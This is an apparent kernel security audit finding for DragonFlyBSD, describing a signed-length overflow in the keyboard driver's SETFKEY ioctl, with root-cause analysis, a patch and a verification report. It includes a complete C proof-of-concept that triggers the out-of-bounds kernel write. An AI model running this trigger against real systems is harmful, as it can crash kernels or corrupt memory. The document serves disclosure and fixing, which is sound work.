β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1503

SETFKEY signed-flen heap/static overflow via imin(-1, MAXFK) wrapped into u_char .len

  • File: sys/dev/misc/kbd/kbd.c
  • Lines: 1090, 1091, 1092
  • Severity: High
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:H/I:H/A:H
  • CWE: CWE-787 Out-of-bounds Write
  • Confidence: certain

Summary

The SETFKEY ioctl handler computes the destination length as imin(fkeyp->flen, MAXFK) where fkeyarg_t.flen is declared char (signed on x86_64).

A negative flen (e.g. -1) makes imin return -1, which is then stored into u_char kb_fkeytab[].len as 255. The next line passes that 255 as the size to bcopy from a 16-byte source (fkeyp->keydef, sitting in the 128-byte on-stack ioctl staging buffer) into a 16-byte destination (fkeytab[keynum].str), producing both a kernel stack read overrun and a heap/static write overrun of up to ~239 bytes.

Root cause

sys/sys/kbio.h:225-230 declares

struct fkeyarg {
    u_short keynum;
    char keydef[MAXFK];
    char flen;
};

with flen as plain char (signed on the primary x86_64 platform).

sys/sys/libkern.h:70 defines imin(int a, int b) as a signed comparison returning (a<b)?a:b.

At sys/dev/misc/kbd/kbd.c:1090, kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK) evaluates imin(-1, 16) = -1; assigning the int -1 into u_char .len (sys/kbio.h:221) silently wraps to 255.

kbd.c:1091-1092 then does bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str, kbd->kb_fkeytab[fkeyp->keynum].len) = bcopy of 255 bytes.

The bound check at kbd.c:1086 only validates keynum, never flen.

PIO_KEYMAPENT has an analogous write but uses fixed sizeof(keyp->key) so it is safe; only SETFKEY reads user-controlled .len back as the size.

Threat

Reachable on the default kernel configuration: X86_64_GENERIC enables KBD_INSTALL_CDEV (creates /dev/kbd0) and does NOT define KBD_DISABLE_KEYMAP_LOAD, so the SETFKEY branch is compiled in.

The attacker must hold an open fd to /dev/kbdN (or /dev/kbdmux0, /dev/vkbdctlN). The device node is created mode 0600 root:wheel (kbd.c:565-567) and genkbdopen additionally requires caps_priv_check_self(SYSCAP_RESTRICTEDROOT) (kbd.c:672), so the trigger is restricted to root or processes granted the RESTRICTEDROOT capability.

Impact for such a principal:

  • kernel heap corruption (kbdmux/ukbd/vkbd use kmalloc'd fkeytab) or
  • .bss/.data corruption (atkbd's console keyboard uses static fkeytab_t default_fkeytab[96] at sys/dev/misc/kbd/atkbd.c:300), plus a 127-byte stack read past the 128-byte stkbuf in mapped_ioctl.

Bypasses jail/Caps restrictions on root and can be groomed into kernel code execution; minimum impact is kernel panic (DoS).

The corrupted .len also arms a follow-up GETFKEY on the same keynum to read 255 bytes back through the same staging buffer, overflowing it on the read path.

Exploit / PoC

/* setfkey_oob.c β€” cc -o setfkey_oob setfkey_oob.c ; run as root */
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

int main(void) {
    int fd = open("/dev/kbd0", O_RDWR);
    if (fd < 0) { perror("open /dev/kbd0"); return 1; }
    struct fkeyarg fk;
    memset(&fk, 0x41, sizeof(fk));
    fk.keynum = 95;   /* last entry: maximises overflow past the array */
    fk.flen = -1;     /* imin(-1, MAXFK) = -1 -> stored as u_char 255 */
    if (ioctl(fd, SETFKEY, &fk) < 0) { perror("SETFKEY"); close(fd); return 1; }
    printf("overflow triggered; expect panic or silent heap corruption\n");
    close(fd);
    return 0;
}

Success criteria: kernel panic (witness fatal trap 12: page fault while copying past the fkeytab allocation, or heap corruption symptoms such as freed item modified/use-after-free from umalloc/objcache), or β€” on atkbd's static fkeytab β€” silent corruption of the adjacent static globals that surfaces on later use.

Use the /dev/kbdmux0 minor if no atkbd is attached; both share genkbd_commonioctl via kbd_ioctl.

Treat flen as unsigned before clamping, so the comparison cannot produce a negative result.

--- a/sys/dev/misc/kbd/kbd.c
+++ b/sys/dev/misc/kbd/kbd.c
@@ -1087,7 +1087,8 @@ genkbd_commonioctl(keyboard_t *kbd, u_long cmd, caddr_t arg)
            lwkt_reltoken(&kbd_token);
            return EINVAL;
        }
-       kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK);
+       /* fkeyarg_t.flen is plain char (signed); interpret unsigned and clamp. */
+       kbd->kb_fkeytab[fkeyp->keynum].len = imin((u_int)(u_char)fkeyp->flen, MAXFK);
        bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str,
              kbd->kb_fkeytab[fkeyp->keynum].len);
        break;

With this change, flen=-1 (or any value > MAXFK) is reduced to 255 unsigned and then clamped by imin to MAXFK=16, matching the .str[16] / keydef[16] buffer sizes.

A belt-and-suspenders alternative is to additionally cap the bcopy length: bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str, imin(kbd->kb_fkeytab[fkeyp->keynum].len, MAXFK));.

Consider also changing struct fkeyarg.flen to u_char in sys/sys/kbio.h:228 for ABI-compatible hardening, but the cast above is sufficient and source-compatible.

  • DF-1504 (sibling): genkbd_get_fkeystr off-by-one in same file.
  • DF-1505 (sibling): kqfilter NULL-deref on detached kbd in same file.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1503 Β· 11 files
FileTypeDescriptionSize
harness.c trigger-source replicates signed-flen -> u_char wrap + 255-byte bcopy 3.9 KB view raw
build.sh build-script cc -O2 -Wall -o harness harness.c 65 B view raw
run.sh run-script ./harness 41 B view raw
build.log build-log in-guest build, BUILD_EXIT=0 13 B view raw
run.log run-log decisive run; entry.len=255, OOB=239 bytes 1.1 KB view raw
env.txt environment uname + /dev/kbd0 mode + reachability notes 543 B view raw
fix.diff suggested-fix cast flen to u_char before imin 754 B view raw
fix_build.log fix-build-log patched nativekernel, rc=0 5.6 MB ↓ download
VERDICT.md verdict full narrative 3.6 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict full narrative
↓ download raw

DF-1503 β€” kbd SETFKEY signed-flen heap/static overflow

Verdict

REPRODUCED (source-level harness). The bug is real; impact ceiling is a 239-byte OOB write (heap or .bss depending on the kbd backend) and a 239-byte OOB read of user memory. Reachability on this guest is blocked by two independent gates: (1) /dev/kbd0 and /dev/kbd1 are already kbd_allocate()d by syscons (the system console) and so even root gets EBUSY on open(); (2) the device is mode 0600 root:wheel and the call is gated by caps_priv_check_self(SYSCAP_RESTRICTEDROOT) at kbd.c:672. So neither maxx nor a fresh root login can drive the path on this guest. Harness demonstrates the 255-byte wrap and resulting 239-byte OOB using the genuine arithmetic from kbd.c:1090-1092. fix.diff applies cleanly and nativekernel succeeds (rc=0).

Mechanism (sys/dev/misc/kbd/kbd.c)

  1. fkeyarg_t.flen is declared char at sys/sys/kbio.h:228 β€” signed on x86_64.
  2. Line 1090: kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK); - For flen = -1, imin(-1, 16) = -1. - The destination field .len is u_char (kbio.h:221), so -1 is stored as 255.
  3. Line 1091-1092: bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str, kbd->kb_fkeytab[fkeyp->keynum].len); - Source fkeyarg_t.keydef is char keydef[MAXFK] = 16 bytes (kbio.h:227). - Dest fkeytab.str is u_char str[MAXFK] = 16 bytes (kbio.h:220). - Length 255 β†’ 239-byte OOB read of source AND 239-byte OOB write of dest.
  4. Where the destination lives depends on the kbd backend: - atkbd uses the static default_fkeytab[96] (atkbd.c:300) β†’ .bss corruption of adjacent globals. - kbdmux/ukbd/vkbd use kmalloc'd fkeytab β†’ adjacent heap corruption (cross-object).
  5. The bound check at line 1086 (fkeyp->keynum >= kbd->kb_fkeytab_size) only validates keynum, not flen.

Harness proof (harness.c)

Replicates the genuine imin-and-store and bcopy length outcome:

flen (char)   imin result   stored .len (u_char)
...
-1                     -1                    255
-2                     -2                    254
-128                 -128                    128

Bad case flen=-1:
  imin(-1, 16)        = -1
  stored entry.len    = 255 (wraps via u_char)
  bcopy length        = 255
  source keydef OOB   = 239 bytes
  dest str OOB        = 239 bytes

Exploit-chain note

This is a write-capable primitive on real hardware / kbdmux configurations where the keyboard device can be opened by an attacker (root or any user granted RESTRICTEDROOT). The destination corruption shape varies by backend (static for atkbd, heap for kbdmux/ukbd/vkbd); the heap variant is the credible escalation path. On this audit guest, syscons has already kbd_allocate()d both /dev/kbd{0,1}, so the path is not exercisable. Documented as primitive characterization; impact ceiling is heap/static corruption.

PoC changes

  • Original folder was README-only.
  • Added harness.c, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.

Fix

fix.diff casts fkeyp->flen to u_char before passing to imin, so the signedness cannot produce a negative that wraps through the u_char store: imin((int)(u_char)fkeyp->flen, MAXFK). Matches the finding markdown proposal ("cast (u_char)flen before imin").

Fix-validation

patch -p1 --forward succeeds (hunk #1 at line 1087). nativekernel completes with rc=0 (fix_build.log). No run-time exercise possible on this guest because the keyboard devices are busy β†’ fix_status: "not_testable". Diff applies and compiles; changed logic closes the signed-wrap.

Fix verification

not_testable
baseline reproduced→ patch + rebuild →patched clean

not_testable because /dev/kbd0 and /dev/kbd1 are kbd_allocate()d by syscons on the audit guest (open() returns EBUSY even for root); validated that fix.diff applies cleanly (hunk #1 at line 1087) and single-fix nativekernel compiles rc=0 (fix_build.log).

baseline (harness): stored entry.len=255, dest str OOB=239 bytes
patched kernel build: === NK_DONE rc=0 ===
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0 master+df1503-fix (single-fix kernel built, rc=0)

Confirmed kernel references

Detail

Exploit chain

none (root-only + dev-busy): the keyboard devices are exclusive-allocated by the system console on this guest and the call is gated by caps_priv_check_self(SYSCAP_RESTRICTEDROOT). Primitive characterized via harness: 239-byte OOB write of str[16] (heap for kbdmux/ukbd/vkbd, .bss for atkbd) + 239-byte OOB read of user-side keydef. Realistic ceiling on a system where /dev/kbdN can be opened by an attacker: heap/static corruption.

Evidence (decisive lines)

Bad case flen=-1:
  imin(-1, 16)        = -1
  stored entry.len    = 255 (wraps via u_char)
  bcopy length        = 255
  source keydef OOB   = 239 bytes
  dest str OOB        = 239 bytes

PoC changes

Original folder was README only. Added harness.c, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.

Verified recommended fix

fix.diff casts fkeyp->flen to u_char before imin so signedness cannot produce a negative that wraps through the u_char store: imin((int)(u_char)fkeyp->flen, MAXFK). Matches finding markdown proposal (cast (u_char)flen before imin).

Verdict

REPRODUCED at the source-logic level. kbd.c:1090 kbd->kb_fkeytab[keynum].len = imin(fkeyp->flen, MAXFK); fkeyarg_t.flen is signed char (kbio.h:228). flen=-1 -> imin(-1,16)=-1 -> stored as u_char 255. Line 1091 bcopy(fkeyp->keydef, kbd->kb_fkeytab[keynum].str, .len=255) overflows both keydef[16] (source) and str[16] (dest) by 239 bytes. Harness replicates the genuine imin/store/bcopy and confirms entry.len=255, OOB read+write = 239 bytes for flen=-1. Reachability is doubly blocked on this guest: (1) /dev/kbd0 and /dev/kbd1 are mode 0600 root:wheel, and (2) both are already kbd_allocate()d by syscons so even root gets EBUSY on open(). Harness proof only.